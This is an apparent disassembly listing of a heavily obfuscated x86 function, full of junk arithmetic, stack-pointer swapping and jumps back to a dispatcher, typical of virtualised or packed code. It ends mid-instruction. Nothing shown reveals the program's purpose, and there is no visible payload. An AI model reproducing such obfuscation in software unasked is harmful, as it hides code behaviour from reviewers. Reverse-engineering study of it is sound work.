--------------------------------------------------------------------------- loc_59E04C: ; CODE XREF: sub_580566+1263Cj dec esi xor esi, 71C9010Bh sub esi, 93EF007Ah sub edx, 30563FA0h add edx, esi jmp loc_5A11D1 ; --------------------------------------------------------------------------- loc_59E066: ; CODE XREF: sub_580566+1BDABj add esp, 2 push 2119h jmp loc_59DA0E ; --------------------------------------------------------------------------- loc_59E076: ; CODE XREF: sub_580566+11A5Aj push eax mov eax, esp push edi mov edi, 4 add eax, edi mov edi, [esp-30h+arg_28] add esp, 4 sub eax, 4 xor eax, [esp-34h+arg_2C] xor [esp-34h+arg_2C], eax xor eax, [esp-34h+arg_2C] mov esp, [esp-34h+arg_2C] jmp loc_5A087B ; --------------------------------------------------------------------------- loc_59E09E: ; CODE XREF: sub_580566+1B08Cj sub ebx, 6DEA6E3Dh sub ebx, 0D4F1966h mov ecx, [esp-50h+arg_48] add esp, 4 xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] pop esp inc [esp-58h+arg_4E+2] pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59E0C3: ; CODE XREF: sub_580566+13181j pop ecx jmp loc_596561 ; --------------------------------------------------------------------------- loc_59E0C9: ; CODE XREF: sub_580566+12201j add esp, 4 jmp loc_59931D ; --------------------------------------------------------------------------- loc_59E0D1: ; CODE XREF: sub_580566+18667j pop ebx jmp loc_5932E3 ; --------------------------------------------------------------------------- loc_59E0D7: ; CODE XREF: sub_580566+1AAD4j add esi, 0A58D9B1Eh add edx, esi push [esp-52h+arg_48+2] pop esi add esp, 4 push edx jmp loc_5A2D65 ; --------------------------------------------------------------------------- loc_59E0EF: ; CODE XREF: sub_580566+108A4j push edx jmp loc_594DB0 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push [esp-44h+arg_3C] push [esp-40h+arg_38] jmp loc_599735 ; --------------------------------------------------------------------------- loc_59E103: ; CODE XREF: sub_580566+239F0j mov esi, [esp-3Ch+arg_34] add esp, 4 push esi sub esp, 4 mov [esp-38h+arg_30], eax jmp loc_599109 ; --------------------------------------------------------------------------- loc_59E115: ; CODE XREF: sub_580566+1CA23j add esi, 4 xchg esi, [esp-56h+arg_4E] mov esp, [esp-56h+arg_4E] and [esp-56h+arg_4E], eax pushf jmp loc_597ED6 ; --------------------------------------------------------------------------- loc_59E12A: ; CODE XREF: sub_580566+10FDBj sub edx, 74B152A4h jmp loc_5A130B ; --------------------------------------------------------------------------- loc_59E135: ; CODE XREF: sub_580566+18410j sub edx, 0FFFFFFFFh jmp loc_59F8FE ; --------------------------------------------------------------------------- loc_59E140: ; CODE XREF: sub_580566+15961j shl ebx, 5 jmp loc_591256 ; --------------------------------------------------------------------------- loc_59E148: ; CODE XREF: sub_580566+1272Aj pop esp sub esp, 4 mov [esp-40h+arg_38], edx mov edx, 22DB6328h jmp loc_59721F ; --------------------------------------------------------------------------- loc_59E159: ; CODE XREF: sub_580566+1F4D6j pop ecx sub eax, 63533064h jmp loc_5A022F ; --------------------------------------------------------------------------- loc_59E164: ; CODE XREF: sub_580566+1591Ej neg eax push ecx jmp loc_59BD76 ; --------------------------------------------------------------------------- loc_59E16C: ; CODE XREF: sub_580566+21916j mov esi, esp add esi, 4 push ebx mov ebx, 1AE811F4h neg ebx neg ebx not ebx add ebx, 1 xor ebx, 0E517EE08h sub esi, ebx pop ebx xchg esi, [esp-3Eh+arg_34+2] mov esp, [esp-3Eh+arg_34+2] mov [esp-3Eh+arg_34+2], eax push ebx mov ebx, 53DB77FEh push edx mov edx, 53DB77FAh sub ebx, edx pop edx mov eax, ebx mov ebx, [esp-3Ah+arg_30+2] add esp, 4 sub esi, 49BE7CA5h add esi, 18623B74h add esi, eax jmp loc_59FE73 ; --------------------------------------------------------------------------- loc_59E1C2: ; CODE XREF: sub_580566+198DCj shl dl, 4 add dl, 14h jmp loc_5924AD ; --------------------------------------------------------------------------- loc_59E1CD: ; CODE XREF: sub_580566+1149Dj push 48D9h mov [esp-32h+arg_28+2], ebp push 0A7F277Ah mov ebp, [esp-2Eh+arg_24+2] add esp, 4 jmp loc_59E833 ; --------------------------------------------------------------------------- loc_59E1E5: ; CODE XREF: sub_580566+21951j push edx jmp loc_598073 ; --------------------------------------------------------------------------- loc_59E1EB: ; CODE XREF: sub_580566+22F83j xor eax, 7ECB99BBh jmp loc_59277B ; --------------------------------------------------------------------------- loc_59E1F5: ; CODE XREF: sub_580566+1574Dj not ecx jmp loc_5A59AA ; --------------------------------------------------------------------------- loc_59E1FC: ; CODE XREF: sub_580566+1C711j add ecx, esi pop esi jmp loc_59511A ; --------------------------------------------------------------------------- loc_59E204: ; CODE XREF: sub_580566+201B0j sub [esp-46h+arg_40+2], 0D9E6E0Ch add [esp-46h+arg_40+2], ebp add [esp-46h+arg_40+2], 0D9E6E0Ch add [esp-46h+arg_40+2], 40942B4h mov ebp, [esp-46h+arg_3C+2] add esp, 4 mov esi, [esp-4Ah+arg_40+2] add esp, 4 push ecx mov ecx, 4 jmp loc_596C16 ; --------------------------------------------------------------------------- loc_59E237: ; CODE XREF: sub_580566+19C32j add esi, ebx jmp loc_5A2495 ; --------------------------------------------------------------------------- loc_59E23E: ; CODE XREF: sub_580566+1663Aj add esp, 4 push 27F9h mov [esp-42h+arg_38+2], ecx push edi mov edi, 2 jmp loc_59E44F ; --------------------------------------------------------------------------- loc_59E257: ; CODE XREF: sub_580566+18CC8j mov dx, word ptr [esp-28h+arg_20] add esp, 2 sub al, dh add al, 0A2h pop edx sub esp, 4 mov [esp-2Ch+arg_24], ecx jmp loc_59FB4B ; --------------------------------------------------------------------------- loc_59E271: ; CODE XREF: sub_580566+13FD8j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-3Eh+arg_34+2] pop esp sub esp, 4 mov [esp-3Eh+arg_34+2], eax push esp jmp loc_5A1CCB ; --------------------------------------------------------------------------- loc_59E28F: ; CODE XREF: sub_580566+1D10Ej mov ebx, 7F32E4Fh add esi, ebx jmp loc_59DB93 ; --------------------------------------------------------------------------- loc_59E29B: ; CODE XREF: sub_580566+1AEA2j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59E2A0: ; CODE XREF: sub_580566+25315j add edx, esi jmp loc_591E2A ; --------------------------------------------------------------------------- loc_59E2A7: ; CODE XREF: sub_580566+146B0j shl esi, 1 neg esi add esi, 5EE2DFFh xor edx, esi jmp loc_593255 ; --------------------------------------------------------------------------- loc_59E2B8: ; CODE XREF: sub_580566+205E4j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-46h+arg_3C+2] pop esp mov [esp-4Ah+arg_40+2], ecx push 4 pop ecx add ebx, ecx pop ecx jmp loc_593F3B ; --------------------------------------------------------------------------- loc_59E2D9: ; CODE XREF: sub_580566+201B8j pop [esp-4Eh+arg_44+2] pop esp xor [esp-56h+arg_4E], eax jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59E2E5: ; CODE XREF: sub_580566+1810Bj push ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59E2ED: ; CODE XREF: sub_580566+244D2j xchg esi, [esp-36h+arg_2C+2] mov esp, [esp-36h+arg_2C+2] xor [esp-36h+arg_2C+2], eax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59E2FC: ; CODE XREF: sub_580566+198BFj push [esp-2Ah+arg_20+2] jmp loc_595C15 ; --------------------------------------------------------------------------- loc_59E304: ; CODE XREF: sub_580566+1E41Cj push eax jmp loc_5938BF ; --------------------------------------------------------------------------- loc_59E30A: ; CODE XREF: sub_580566+240D2j add esi, ebp pop ebp push esi push dword ptr [esp+4] pop esi pop [esp-22h+arg_1A] jmp loc_59A769 ; --------------------------------------------------------------------------- loc_59E31B: ; CODE XREF: sub_580566+251FCj add edx, 4 xchg edx, [esp+0] pop esp jmp loc_5A2620 ; --------------------------------------------------------------------------- loc_59E32A: ; CODE XREF: sub_580566+1BF6Dj neg edx jmp loc_5A4C50 ; --------------------------------------------------------------------------- loc_59E331: ; CODE XREF: sub_580566+1CE44j mov dl, bh jmp loc_59EA1B ; --------------------------------------------------------------------------- loc_59E338: ; CODE XREF: sub_580566+17BE0j pop ebp push edx mov edx, 0E051967h or edx, 4ED065E9h shl edx, 6 neg edx jmp loc_59FDFB ; --------------------------------------------------------------------------- mov ax, word ptr [esp-1Ah+arg_12] push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp-16h+arg_E] xor [esp-16h+arg_E], esi xor esi, [esp-16h+arg_E] mov esp, [esp-16h+arg_E] mov [esp-16h+arg_E], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp-16h+arg_E] xor [esp-16h+arg_E], ebp jmp loc_59D9D6 ; --------------------------------------------------------------------------- loc_59E38A: ; CODE XREF: sub_580566+14957j push edx mov edx, 79C035Bh jmp loc_5964AF ; --------------------------------------------------------------------------- loc_59E395: ; CODE XREF: sub_580566+242AEj and ecx, 1D857D13h jmp loc_591CFC ; --------------------------------------------------------------------------- loc_59E3A0: ; CODE XREF: sub_580566+1890Dj xchg esi, [esp-46h+arg_3C+2] jmp loc_59B052 ; --------------------------------------------------------------------------- loc_59E3A8: ; CODE XREF: sub_580566+15A21j push esp pop eax add eax, 4 push edx jmp loc_5A5850 ; --------------------------------------------------------------------------- loc_59E3B5: ; CODE XREF: sub_580566+17D24j push edx mov edx, 4 jmp loc_5936B8 ; --------------------------------------------------------------------------- loc_59E3C0: ; CODE XREF: sub_580566+23817j push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5A1FAF ; --------------------------------------------------------------------------- loc_59E3D4: ; CODE XREF: sub_580566+23797j mov ax, [esp+0] jmp loc_5A30DF ; --------------------------------------------------------------------------- loc_59E3DD: ; CODE XREF: sub_580566+12180j sub eax, 2DBA5A7Ah jmp loc_595F7A ; --------------------------------------------------------------------------- loc_59E3E7: ; CODE XREF: sub_580566+18A75j push 23BC2158h mov edx, [esp-5Ah+arg_52] sub esp, 4 mov [esp-56h+arg_4E], esi mov esi, esp add esi, 4 push ebx jmp loc_592087 ; --------------------------------------------------------------------------- loc_59E406: ; CODE XREF: sub_580566+17267j add ecx, 39611DDEh add ecx, ebx sub ecx, 39611DDEh jmp loc_5A59E9 ; --------------------------------------------------------------------------- loc_59E419: ; CODE XREF: sub_580566+15C6Aj neg ecx shr ecx, 7 inc ecx sub ecx, 10D2593Ch jmp loc_596D95 ; --------------------------------------------------------------------------- loc_59E42A: ; CODE XREF: sub_580566+15084j pop ebx mov ebx, edi pop edi add ebp, ebx jmp loc_592125 ; --------------------------------------------------------------------------- loc_59E435: ; CODE XREF: sub_580566+15D17j mov esp, [esp-42h+arg_38+2] push eax mov eax, esp jmp loc_5A56A0 ; --------------------------------------------------------------------------- loc_59E440: ; CODE XREF: sub_580566+1571Ej pop esi shr ebp, 6 xor ebp, 1B122E22h jmp loc_5A066D ; --------------------------------------------------------------------------- loc_59E44F: ; CODE XREF: sub_580566+1DCECj mov ecx, edi jmp loc_595D46 ; --------------------------------------------------------------------------- loc_59E456: ; CODE XREF: sub_580566+1717Fj xor edi, 7B6433DFh add eax, edi pop edi sub eax, 4 xchg eax, [esp-1Eh+arg_16] pop esp mov [esp], esp push 68A9h jmp loc_5A33BD ; --------------------------------------------------------------------------- loc_59E473: ; CODE XREF: sub_580566+1EED9j mov [esp-1Eh+arg_16], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-1Eh+arg_16] jmp loc_5963F0 ; --------------------------------------------------------------------------- loc_59E48C: ; CODE XREF: sub_580566+176B3j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-2Ch+arg_24] pop esp sub edx, 0D8331D0h mov eax, [esp-30h+arg_28] add esp, 4 xor eax, edx mov edx, [esp-34h+arg_2C] add esp, 4 xor ebx, eax pop small word ptr [eax] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59E4BF: ; CODE XREF: sub_580566+1F35Ej pop ebx add ebx, 4 sub esp, 4 mov [esp-3Ah+arg_30+2], ebp push edi mov edi, 39FE146Dh jmp loc_59DA84 ; --------------------------------------------------------------------------- loc_59E4DA: ; CODE XREF: sub_580566+21435j mov eax, [esp-36h+arg_2C+2] add esp, 4 jmp loc_598586 ; --------------------------------------------------------------------------- loc_59E4E8: ; CODE XREF: sub_580566+1A5FDj add eax, 2 xor eax, [esp-56h+arg_4E] xor [esp-56h+arg_4E], eax xor eax, [esp-56h+arg_4E] pop esp mov ax, word ptr [esp-5Ah+arg_52] push 3945h mov [esp-56h+arg_4E], esi sub esp, 4 mov [esp-52h+arg_48+2], esp add [esp-52h+arg_48+2], 4 jmp loc_59899B ; --------------------------------------------------------------------------- loc_59E510: ; CODE XREF: sub_580566+1A23Dj push ebx mov ebx, 4 add eax, ebx mov ebx, [esp-36h+arg_2C+2] sub esp, 4 mov [esp-32h+arg_28+2], ebp mov ebp, esp push eax mov eax, 4 add ebp, eax pop eax add ebp, 4 xchg ebp, [esp-32h+arg_28+2] pop esp xchg eax, [esp-36h+arg_2C+2] pop esp dec [esp-3Ah+arg_30+2] pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59E540: ; CODE XREF: sub_580566+1BE82j pop ebp not edx push edi mov edi, 0F4C2EB35h jmp loc_599BCD ; --------------------------------------------------------------------------- loc_59E54E: ; CODE XREF: sub_580566+15B45j sub esp, 4 mov [esp-4Ah+arg_40+2], edx sub esp, 4 mov [esp-46h+arg_3C+2], ecx jmp loc_5A2374 ; --------------------------------------------------------------------------- loc_59E55F: ; CODE XREF: sub_580566+1A14Bj xor edx, ecx pop ecx jmp loc_591FB2 ; --------------------------------------------------------------------------- loc_59E567: ; CODE XREF: sub_580566+1B6E0j pop ebx inc ecx sub esp, 4 mov [esp-30h+arg_28], edx jmp loc_594A6A ; --------------------------------------------------------------------------- loc_59E577: ; CODE XREF: sub_580566+132A1j pop edx jmp loc_5A3308 ; --------------------------------------------------------------------------- loc_59E57D: ; CODE XREF: sub_580566+16B57j or eax, 6E70444Fh shl eax, 3 xor eax, 5559320Ah add ebx, eax jmp loc_597AAA ; --------------------------------------------------------------------------- loc_59E591: ; CODE XREF: sub_580566+13DAFj add edx, ecx mov ecx, [esp-2Eh+arg_24+2] add esp, 4 xchg edx, [esp-32h+arg_28+2] mov esp, [esp-32h+arg_28+2] xor eax, esi push [esp-32h+arg_28+2] pop esi add esp, 4 jmp loc_59FE06 ; --------------------------------------------------------------------------- loc_59E5B0: ; CODE XREF: sub_580566+1EDB3j not ah push ebx push edx push ecx mov ch, ah push eax mov al, ch mov dl, al mov eax, [esp+0] add esp, 4 jmp loc_590B3D ; --------------------------------------------------------------------------- loc_59E5CA: ; CODE XREF: sub_580566+20AFEj or bl, 88h shl bl, 4 push ecx mov cl, 0A3h xor bl, cl pop ecx mov dl, bl pop ebx neg dl add dl, 0FFh jmp loc_59AF56 ; --------------------------------------------------------------------------- loc_59E5E3: ; CODE XREF: sub_580566+24F98j pop esi pop [esp-32h+arg_28+2] pop esp jmp loc_592D02 ; --------------------------------------------------------------------------- loc_59E5ED: ; CODE XREF: sub_580566+1788Bj add ecx, edi pop edi jmp loc_594B27 ; --------------------------------------------------------------------------- loc_59E5F5: ; CODE XREF: sub_580566+1F0E4j add esi, ecx jmp loc_5951A8 ; --------------------------------------------------------------------------- loc_59E5FC: ; CODE XREF: sub_580566+14789j pop esp jmp loc_5A3FE3 ; --------------------------------------------------------------------------- loc_59E602: ; CODE XREF: sub_580566+1BCCFj mov ebp, ebx pop ebx push edx mov edx, 96210AFh sub edx, 0C18CF40Ch jmp loc_598994 ; --------------------------------------------------------------------------- loc_59E616: ; CODE XREF: sub_580566+16C4Ej inc ebx push eax jmp loc_5A34C5 ; --------------------------------------------------------------------------- loc_59E61D: ; CODE XREF: sub_580566+22623j mov eax, 78912B80h shr eax, 3 sub esp, 4 mov [esp-3Eh+arg_34+2], ebp mov ebp, 4C63AB9h xor ebp, 2C2D4FE4h sub ebp, 3F7E4AD4h sub ebp, 0E2D5EEA0h add eax, ebp pop ebp xor eax, 54805E1Ah xor edx, eax pop eax and edi, edx pop edx sub edi, 18B3A685h jmp loc_5A0C93 ; --------------------------------------------------------------------------- loc_59E65B: ; CODE XREF: sub_580566+1690Dj push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-32h+arg_28+2] pop esp mov [esp-36h+arg_2C+2], ecx mov ecx, esp add ecx, 4 push edi mov edi, 4 sub ecx, edi pop edi xor ecx, [esp-36h+arg_2C+2] xor [esp-36h+arg_2C+2], ecx xor ecx, [esp-36h+arg_2C+2] pop esp mov [esp-3Ah+arg_30+2], edi jmp loc_594DDD ; --------------------------------------------------------------------------- loc_59E691: ; CODE XREF: sub_580566+1B2ACj pop eax push edi jmp loc_59DC3E ; --------------------------------------------------------------------------- loc_59E698: ; CODE XREF: sub_580566+18BCCj sub ebp, 45703174h sub ebp, ecx add ebp, 45703174h jmp loc_595101 ; --------------------------------------------------------------------------- loc_59E6AB: ; CODE XREF: sub_580566+1FF3Fj push 4590h mov [esp-3Ch+arg_34], esi mov esi, esp push edi mov edi, 4 push eax mov eax, 5934455Bh add esi, eax pop eax sub esi, 4B8E5000h add esi, edi push eax mov eax, 14B750B8h jmp loc_591EB8 ; --------------------------------------------------------------------------- loc_59E6D7: ; CODE XREF: sub_580566+146C6j add ebp, 4 push eax mov eax, 710F204Ch push edi mov edi, 43CE7264h add eax, edi pop edi shr eax, 2 shl eax, 4 jmp loc_59A9CE ; --------------------------------------------------------------------------- loc_59E6F7: ; CODE XREF: sub_580566+1317Aj push eax jmp loc_59BB69 ; --------------------------------------------------------------------------- loc_59E6FD: ; DATA XREF: sub_580566+1029Eo pop dword ptr [edx] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59E704: ; CODE XREF: sub_580566+1EA2Dj not dh sub dh, 0FFh sub dh, 9Fh push 3475h jmp loc_595A2A ; --------------------------------------------------------------------------- loc_59E716: ; DATA XREF: sub_580566+104CAo movzx ax, byte ptr fs:[edx] jmp loc_59BCE9 ; --------------------------------------------------------------------------- loc_59E720: ; CODE XREF: sub_580566+18D56j xor esi, ebp pop ebp add edx, esi pop esi sub edx, ebx sub edx, 2EBC646Ch sub edx, 43F9157Ch pop ebx jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59E73A: ; CODE XREF: sub_580566+173C7j mov [esp-14h+arg_A+2], ecx jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59E742: ; CODE XREF: sub_580566+1F7DAj mov dh, bl pop ebx pop eax add al, dh mov edx, [esp-1Ch+arg_12+2] jmp loc_590D3F ; --------------------------------------------------------------------------- loc_59E750: ; CODE XREF: sub_580566+20447j mov eax, [esp-1Ch+arg_12+2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_59690B ; --------------------------------------------------------------------------- loc_59E764: ; CODE XREF: sub_580566+16FA2j xor eax, edi pop edi push ebp push ecx mov ecx, 671A37DDh mov ebp, ecx jmp loc_59B937 ; --------------------------------------------------------------------------- loc_59E775: ; CODE XREF: sub_580566+15A6Cj pop esp jmp loc_59CA80 ; --------------------------------------------------------------------------- loc_59E77B: ; CODE XREF: sub_580566+10FD5j xor ecx, [esp+0] pop esp and [edi+1Ch], eax push [esp-2Ah+arg_20+2] pop eax push ebp push esp pop ebp push esi mov esi, 3AC83BD7h xor esi, 3AC83BD3h add ebp, 2D612F75h add ebp, esi sub ebp, 2D612F75h pop esi add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_59755E ; --------------------------------------------------------------------------- loc_59E7B1: ; CODE XREF: sub_580566+1B17Cj push 72DDh mov [esp-16h+arg_E], ebx push 4932h push esp pop [esp-0Eh+arg_8+2] add [esp-12h+arg_A], 4 pop ebx push 0C21h mov [esp-12h+arg_A], esi jmp loc_5A4C63 ; --------------------------------------------------------------------------- loc_59E7D7: ; CODE XREF: sub_580566+1F4F5j mov ecx, edx jmp loc_5A4F36 ; --------------------------------------------------------------------------- loc_59E7DE: ; CODE XREF: sub_580566+1B841j push edx jmp loc_5917B2 ; --------------------------------------------------------------------------- loc_59E7E4: ; CODE XREF: sub_580566+1F977j pop ecx jmp loc_5A1BE7 ; --------------------------------------------------------------------------- loc_59E7EA: ; CODE XREF: sub_580566+14F1Dj mov eax, 1D2522F0h add edx, eax pop eax jmp loc_5A4B64 ; --------------------------------------------------------------------------- loc_59E7F7: ; CODE XREF: sub_580566+21B2Cj push edi push esp pop edi push ebx mov ebx, 4 jmp loc_59591C ; --------------------------------------------------------------------------- loc_59E805: ; CODE XREF: sub_580566+22D89j mov edx, 0BDFC6004h add ecx, edx jmp loc_5A5752 ; --------------------------------------------------------------------------- loc_59E811: ; CODE XREF: sub_580566+10C59j pop esi jmp loc_5997BB ; --------------------------------------------------------------------------- loc_59E817: ; CODE XREF: sub_580566+123BDj pop ebp jmp loc_5A31E0 ; --------------------------------------------------------------------------- loc_59E81D: ; CODE XREF: sub_580566+129CEj pop ebx push 7E4h mov [esp-4Eh+arg_44+2], edx push 4 push [esp-4Ah+arg_40+2] jmp loc_598E4A ; --------------------------------------------------------------------------- loc_59E833: ; CODE XREF: sub_580566+1DC7Aj xor ebp, 32A2696Eh xor ebp, 38DD4E10h jmp loc_5A48BF ; --------------------------------------------------------------------------- loc_59E844: ; CODE XREF: sub_580566+16ABDj mov word ptr [esp-24h+arg_1A+2], bx push ecx mov cl, 0Dh mov bh, cl pop ecx sub cl, bh pop bx xor al, cl push dword ptr [esp+0] jmp loc_59520D ; --------------------------------------------------------------------------- loc_59E85C: ; CODE XREF: sub_580566+1F2B4j xor esi, 12A25BFDh add edx, esi mov esi, [esp-22h+arg_1A] add esp, 4 jmp loc_5A0B72 ; --------------------------------------------------------------------------- loc_59E872: ; CODE XREF: sub_580566+1D219j mov [esp-3Ch+arg_34], ebx sub esp, 4 mov [esp-38h+arg_30], esi mov esi, 2F5122FFh jmp loc_5A4DE2 ; --------------------------------------------------------------------------- loc_59E885: ; CODE XREF: sub_580566+22737j pop ebp mov ebx, edx jmp loc_593C98 ; --------------------------------------------------------------------------- loc_59E88D: ; CODE XREF: sub_580566+1B4BDj pop ebx jmp loc_59F968 ; --------------------------------------------------------------------------- loc_59E893: ; DATA XREF: sub_580566+1045Ao push [esp-3Ch+arg_34] push [esp-38h+arg_30] mov eax, [esp-34h+arg_2C] add esp, 4 add esp, 4 push esi jmp loc_592F04 ; --------------------------------------------------------------------------- loc_59E8AB: ; CODE XREF: sub_580566+254FDj mov dl, al pop eax mov ebx, [esp-3Ch+arg_34] push ebx mov ebx, esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-34h+arg_2C] pop esp mov [esp-38h+arg_30], ecx mov ecx, 4 add ebx, ecx mov ecx, [esp-38h+arg_30] add esp, 4 add ebx, 4 jmp loc_594EC8 ; --------------------------------------------------------------------------- loc_59E8E5: ; CODE XREF: sub_580566+23A18j xchg edx, [esp-3Ch+arg_34] pop esp mov [esp-40h+arg_38], esp add [esp-40h+arg_38], 4 mov ecx, [esp-40h+arg_38] jmp loc_596692 ; --------------------------------------------------------------------------- loc_59E8F8: ; CODE XREF: sub_580566+21EE6j and edx, eax mov eax, [esp-40h+arg_38] add esp, 4 dec edx jmp loc_5A1671 ; --------------------------------------------------------------------------- loc_59E906: ; CODE XREF: sub_580566+12DB5j pop ecx push edx jmp loc_593B3A ; --------------------------------------------------------------------------- loc_59E90D: ; CODE XREF: sub_580566+18D00j and dh, 71h xor dh, 0E5h jmp loc_5997A6 ; --------------------------------------------------------------------------- loc_59E918: ; DATA XREF: sub_580566+10496o lodsb push small 2FE2h mov word ptr [esp-3Eh+arg_34+2], cx mov cl, 57h add cl, 6 shr cl, 1 shr cl, 3 shr cl, 2 add cl, 0E7h push ecx mov cl, 0B0h xor cl, 0D3h jmp loc_5A4F27 ; --------------------------------------------------------------------------- loc_59E93C: ; CODE XREF: sub_580566+10640j push ebp push 7FDC5F24h mov ebp, [esp-4Ah+arg_40+2] push ecx mov ecx, esp add ecx, 4 jmp loc_59F375 ; --------------------------------------------------------------------------- loc_59E953: ; CODE XREF: sub_580566+132EFj xor eax, esi xor esi, eax not eax xor esi, eax xor eax, esi xor esi, eax xchg esi, ebp push 10EAh mov [esp-2Ah+arg_20+2], ebp push [esp-2Ah+arg_24+2] push dword ptr [esp+0] push [esp-22h+arg_1A] pop ebp add esp, 4 add esp, 4 pop [esp-2Ah+arg_20+2] pop eax push edi jmp loc_59E304 ; --------------------------------------------------------------------------- loc_59E987: ; CODE XREF: sub_580566+1380Fj or ebx, 3F09020Fh dec ebx jmp loc_596C95 ; --------------------------------------------------------------------------- loc_59E993: ; CODE XREF: sub_580566+1582Dj push edi push 2E64035h pop edi sub edi, 9E592748h mov eax, edi jmp loc_597F35 ; --------------------------------------------------------------------------- loc_59E9A7: ; CODE XREF: sub_580566+1A653j push eax mov eax, 2292926h shl eax, 3 or eax, 2B8F4E98h neg eax jmp loc_5914C4 ; --------------------------------------------------------------------------- loc_59E9BC: ; CODE XREF: sub_580566+21200j xchg edi, [esp-36h+arg_2C+2] mov esp, [esp-36h+arg_2C+2] sar [esp-36h+arg_2C+2], cl pushf jmp loc_59FCC6 ; --------------------------------------------------------------------------- loc_59E9CB: ; CODE XREF: sub_580566+231B5j inc edi jmp loc_59998D ; --------------------------------------------------------------------------- loc_59E9D1: ; CODE XREF: sub_580566+1A6D6j push ecx push 203763A1h pop ecx push edi mov edi, 0EDD4F97h or ecx, edi pop edi sub esp, 4 mov [esp-4Eh+arg_44+2], ecx jmp loc_59215E ; --------------------------------------------------------------------------- loc_59E9EF: ; CODE XREF: sub_580566+115E4j xchg eax, [esp-40h+arg_38] pop esp push edx jmp loc_592698 ; --------------------------------------------------------------------------- loc_59E9F9: ; DATA XREF: sub_580566+1048Eo mov cx, word ptr [esp-40h+arg_38] jmp loc_59B06D ; --------------------------------------------------------------------------- loc_59EA02: ; CODE XREF: sub_580566+24B1Fj xchg eax, [esp-40h+arg_38] pop esp jmp loc_5953CC ; --------------------------------------------------------------------------- loc_59EA0B: ; CODE XREF: sub_580566+14FBCj mov ecx, 0F826F34h and ecx, 5F0A1637h jmp loc_59C086 ; --------------------------------------------------------------------------- loc_59EA1B: ; CODE XREF: sub_580566+1DDCDj push ecx jmp loc_59B294 ; --------------------------------------------------------------------------- loc_59EA21: ; CODE XREF: sub_580566+1F36Aj push esi sub esp, 4 mov [esp-32h+arg_28+2], eax push 214C63EFh pop eax shr eax, 3 and eax, 6D4F03D9h push esi push ebp jmp loc_59EF2D ; --------------------------------------------------------------------------- loc_59EA40: ; CODE XREF: sub_580566+17A99j push ebx jmp loc_59F09E ; --------------------------------------------------------------------------- loc_59EA46: ; CODE XREF: sub_580566+2333Aj pop esp push 7C0Bh mov [esp-42h+arg_38+2], eax mov eax, 0C64209Fh sub ebx, eax pop eax sub ebx, 422A6CE0h add ebx, eax add ebx, 422A6CE0h push eax push ebp jmp loc_59ACE4 ; --------------------------------------------------------------------------- loc_59EA6C: ; CODE XREF: sub_580566+1EF93j neg ebp jmp loc_5A1205 ; --------------------------------------------------------------------------- loc_59EA73: ; CODE XREF: sub_580566+18AC3j pop esp mov [esp-38h+arg_30], esi jmp loc_5928C5 ; --------------------------------------------------------------------------- loc_59EA7C: ; CODE XREF: sub_580566+254F5j pop esp pop ecx jmp loc_59C91C ; --------------------------------------------------------------------------- loc_59EA83: ; CODE XREF: sub_580566+1FA10j pop esi push esi push edi mov edi, 4BA913A6h jmp loc_59877F ; --------------------------------------------------------------------------- loc_59EA90: ; CODE XREF: sub_580566+22803j push [esp-3Ch+arg_34] pop edx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-38h+arg_30] jmp loc_5A198E ; --------------------------------------------------------------------------- loc_59EAAB: ; CODE XREF: sub_580566+21AFEj add edx, 4 xchg edx, [esp-38h+arg_30] pop esp push ecx jmp loc_5972F5 ; --------------------------------------------------------------------------- loc_59EAB8: ; CODE XREF: sub_580566+1CD31j mov ebp, 59564318h add ebp, 35C51C3Ch jmp loc_592BC1 ; --------------------------------------------------------------------------- loc_59EAC8: ; CODE XREF: sub_580566+13AFCj sub ebx, esi jmp loc_593BEF ; --------------------------------------------------------------------------- loc_59EACF: ; CODE XREF: sub_580566+1D699j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59EAD4: ; CODE XREF: sub_580566+16A5Ej push edi jmp loc_59474F ; --------------------------------------------------------------------------- loc_59EADA: ; CODE XREF: sub_580566+211F0j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59EADF: ; CODE XREF: sub_580566+23741j mov ecx, 23A2E698h jmp loc_59A0EB ; --------------------------------------------------------------------------- loc_59EAE9: ; CODE XREF: sub_580566+186ABj mov dl, ch mov ah, dl pop edx pop cx and ah, 9Ah shr ah, 1 sub ah, 94h xor ah, 3 jmp loc_5A1413 ; --------------------------------------------------------------------------- loc_59EB00: ; CODE XREF: sub_580566+13324j sub esp, 4 mov [esp-48h+arg_40], edx jmp loc_5951EC ; --------------------------------------------------------------------------- loc_59EB0B: ; CODE XREF: sub_580566+20383j pop edx jmp loc_59F5F0 ; --------------------------------------------------------------------------- loc_59EB11: ; CODE XREF: sub_580566+1FFA2j mov ecx, esp push ebx mov ebx, 4 add ecx, ebx jmp loc_59152E ; --------------------------------------------------------------------------- loc_59EB20: ; CODE XREF: sub_580566+1BD41j sub esp, 4 mov [esp-4Ch+arg_44], edx mov dl, 3Ah mov ch, dl pop edx add ch, 1Ch jmp loc_59F8BA ; --------------------------------------------------------------------------- loc_59EB33: ; CODE XREF: sub_580566+19E72j mov ebx, eax pop eax jmp loc_59B4FB ; --------------------------------------------------------------------------- loc_59EB3B: ; CODE XREF: sub_580566+154E0j mov ecx, [esp-42h+arg_38+2] jmp 